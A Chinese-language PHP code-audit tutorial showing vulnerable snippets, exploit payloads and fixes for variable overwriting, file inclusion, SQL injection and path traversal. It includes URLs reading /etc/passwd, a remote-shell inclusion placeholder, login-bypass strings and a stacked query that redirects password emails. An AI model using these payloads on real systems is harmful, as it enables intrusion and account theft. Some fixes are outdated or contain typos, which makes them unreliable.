PHP代碼審計

0X01.全局變量

php中並不需要申明全局變量,當必須使用它時會自動創建
例:
前 if($is_admin==1){
..... //此時會重定向到管理界面
}else{
.....
}
利用:在文件bugged.php提交
http://127.0.0.1/bugged.php?is_admin=1

後 $is_admin=0; //申明變量
if($is_admin==1){
..... //此時會重定向到管理界面
}else{
.....
}


0X02.文件包含


-------動態包含文件(部分路徑名包含在某些變量中),而變量又未申明
例:

前 <?php
include "/users/".$include_path.".php";
?>
利用:http://127.0.0.1/bugged.php?include_path=../../../etc/passwd
提交惡意數據,使其包含了/etc/passwd文件
是一個NULL字符,用於刪除php文件擴展名


--------遠程文件包含

前:<?php
include ($GET['pag']);
?>

利用:對$pag文件沒有進行驗證的話,可以通過瀏覽器的包含或者調用他的腳本
獲得電腦的訪問權

1.提權

http://127.0.0.1/inc.php?pag=[Evil Script -our shell located on our server]
2.瀏覽文件
http://127.0.0.1/inc.php?pag=/ect/passwd

修改:創建一個可訪問頁面的列表,對輸入值進行驗證
<?php
...
$pag=$_GET['pag'];
$pags=array('index.php','alfa.php','gamma.php');
if(in_array($pag,$pags)){
include($pag);
}else{
die("Hacking Attempt!");
}
...
?>


0X03.跨站腳本

0X04.SQL注入

(') 用於劃分字符
(#) 用於註釋
(;)在數據庫中用來構造新的請求語句

例:繞過登錄驗證--獲得管理權限
<?php
...
//登錄腳本
$nick=$_POST['nick'];
$pass=$_POST['post'];
$link=mysql_connect('localhost','root','root')or die('Error'.mysql_error());
mysql_select_db("sql_inj",$link);

$query=mysql_query("SELECT*FROM sql_inj WHERE nick='".$nick"'AND
pass='".$pass."'",$link);
if(mysql_num_rows($query)==0){
echo"<script type=\"test/javascript\">
window.location.href='index.html';</script>";
exit;
$logged=1

...
}
?>
此處兩個變量用於SQL請時沒有進行任何有效的驗證,所以可以進行注入
惡意構造1:
$nick=1'OR'1'='1
$pass=1'OR'1'='1

"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='1'OR'1'='1'"
惡意構造2:
$nick=1'OR'1'='1'#
$pass=what_we_want_to_put
"SELECT*FROM sql_inj WHERE nick='1'OR'1'='1'AND pass='what_we_want_to_put'"



<?php
//郵件腳本
...
$email=$_POST['email'];
...
$query=mysql_query("SELECT email,passwd,user_name FROM users WHERE email='".$email."'");
...
?>

構造語句:
$email=x';UPDATE users SET email ='[email protected]'
WHERE email='[email protected]';
這樣用[email protected]就能收到密碼


修補:php.ini文件
1.set magic_quotes_gcp to On
在(')(")(\)和 NULL 前自動加入轉義符

2.use addslashes()
在字符串前面加上斜槓

3.htmlspecialchars()
將指定字符轉化成html實體

4.mysql_escape_string()
轉義mysql_query中使用的字符串

5.www.php.net

6.驗證用戶提取的信息
$user_id=(int)$_GET['user_id']; 這裏的id都是整數


0X05 文件遍歷


<?php
..
$fp=fopen("/path/{$_GET['filename']}.txt",'r');
..
?>

由於filename可被遠程修改,會導致文件遍歷漏洞
可以利用(../)來移動目錄查看文件
構造:
http://127.1/path/bug.php?filename=../../../path_of_another_file
以突破文件擴展名限制

修補:使用basename()函數
<?php
$clean=array();
if(basename($_GET['filemname'])==$_GET['filename']){
$clean['filename']=$_GET['filename'];
}
else{
..
}
$fp=fopen("/path/{$clean['filename']}.txt",'r');
?>





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章